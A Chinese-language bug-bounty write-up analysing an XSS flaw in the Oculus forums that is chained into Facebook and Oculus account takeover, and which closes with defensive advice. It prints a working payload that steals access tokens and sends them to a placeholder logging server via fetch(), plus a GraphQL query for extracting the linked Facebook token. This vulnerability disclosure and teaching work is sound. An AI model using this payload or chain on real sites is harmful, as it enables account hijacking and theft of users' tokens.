挖洞经验 | 利用Oculus网站XSS漏洞实现对Facebook和Oculus用户的账户劫持
字数 1861 2025-08-15 21:33:14
Oculus网站XSS漏洞分析与利用教学文档
漏洞概述
本教学文档详细分析了一个针对Oculus论坛(forums.oculusvr.com)的XSS漏洞,该漏洞允许攻击者窃取用户访问令牌(Access Token),进而实现对Facebook和Oculus账户的劫持。Facebook最终为此漏洞支付了$30,000的奖励。
漏洞背景
- 受影响系统: Oculus论坛(forums.oculusvr.com)
- 技术栈: 基于Vanilla Forum搭建
- 认证机制: 使用oculus.com的认证系统
- 认证路径:
https://graph.oculus.com/authenticate_web_application/ - 跳转路径: 认证后跳转到
https://forums.oculusvr.com/entry/oculus并携带access_token
漏洞细节分析
1. 认证流程分析
- 用户访问Oculus论坛时,会被重定向到
graph.oculus.com进行认证 - 认证成功后,用户被重定向回论坛,URL中携带access_token
- 该access_token可用于访问
graph.oculus.com/graphql进行GraphQL查询
2. XSS漏洞点
漏洞存在于oculus-oauth.js文件中,关键问题代码:
var oculusConnect = function(params) {
// ...
if (params.connect.debug) {
document.write("login type : " + loginType + ";<br >document location:" + document.location + ";<br >Saved State:" + savedState + ";<br >State:" + state + ";<br >Hash Key:" + hashKey);
}
// ...
}
关键问题:
- 使用
document.write直接输出未过滤的document.location - 可通过控制
state参数注入恶意代码
3. 利用限制与绕过
原始问题:
- 代码中有
var loginType = this.frameElement.id; - 直接访问会报错"TypeError: Cannot read property 'id' of null"
绕过方法:
- 必须将漏洞页面框架化(iframe)
- 父页面与iframe页面需同源
漏洞利用链
1. Vanilla Forums的嵌入漏洞
Vanilla Forums允许嵌入来自白名单网站的iframe内容,白名单包括:
- YouTube
- Vimeo
- Getty
- Twitch
- SoundCloud
- 等
其中某个白名单网站存在漏洞,允许构造恶意iframe跳转到漏洞页面。
2. XSS Payload构造
最终利用URL格式:
https://forums.oculusvr.com/entry/oculus/#access_token=test&state=<恶意脚本>
Base64编码的Payload示例:
var ifrm = document.createElement('iframe');
ifrm.setAttribute('id', 'test');
ifrm.setAttribute('src', 'https://graph.oculus.com/authenticate_web_application?access_token=OC|1238816349468370|&redirect_uri=https://forums.oculusvr.com/entry/oculus&state=V1HW9S2LGZ&method=post');
ifrm.onload = function(){
var token = document.getElementById('test').contentWindow.location.href;
fetch("https://logging-server/log.php?x=" + token);
};
document.body.appendChild(ifrm);
3. 完整利用步骤
- 登录Oculus账户访问论坛
- 在"New Discussion"区域点击"Toggle Html View"
- 插入包含恶意iframe的Payload
- 点击"Preview"和"Post Discussion"发布
- 受害者访问后,其access_token会被窃取
账户劫持技术
1. 基础信息收集
使用窃取的access_token可以进行GraphQL查询:
https://graph.oculus.com/graphql?access_token=VICTIM_TOKEN&method=post
2. 获取Facebook访问令牌
关键查询:
q=viewer(){linked_accounts_info{facebook_account{access_token}}}
3. 权限提升漏洞
发现第三个关键漏洞:
- 将窃取的令牌升级为另一个应用身份(WWW 752908224809889)
- 绕过应用身份限制
- 读取Facebook绑定用户的access_token
4. 最终劫持方式
两种攻击路径:
- 直接使用Facebook的access_token劫持Facebook账户
- 使用Facebook的access_token通过
https://graph.oculus.com/fbauth登录关联的Oculus账户
防御建议
-
输入过滤:
- 对所有用户输入进行严格过滤和编码
- 避免使用
document.write输出未过滤的内容
-
认证安全:
- 使用HttpOnly和Secure标志设置cookie
- 实现CSRF保护机制
- 限制access_token的作用域和有效期
-
框架安全:
- 实施严格的CSP策略
- 使用X-Frame-Options防止点击劫持
-
第三方嵌入:
- 严格审查白名单网站
- 对嵌入内容实施沙箱机制
-
敏感操作保护:
- 对账户关键操作要求二次验证
- 实施异常登录检测机制
总结
本漏洞通过三个关键漏洞的链式利用实现了高危害的账户劫持攻击:
- Vanilla Forums的iframe嵌入漏洞
- Oculus认证流程中的XSS漏洞
- 令牌升级和权限绕过漏洞
这强调了现代Web应用中认证流程和安全边界设计的重要性,特别是在处理跨域、跨应用的身份验证时,需要特别谨慎。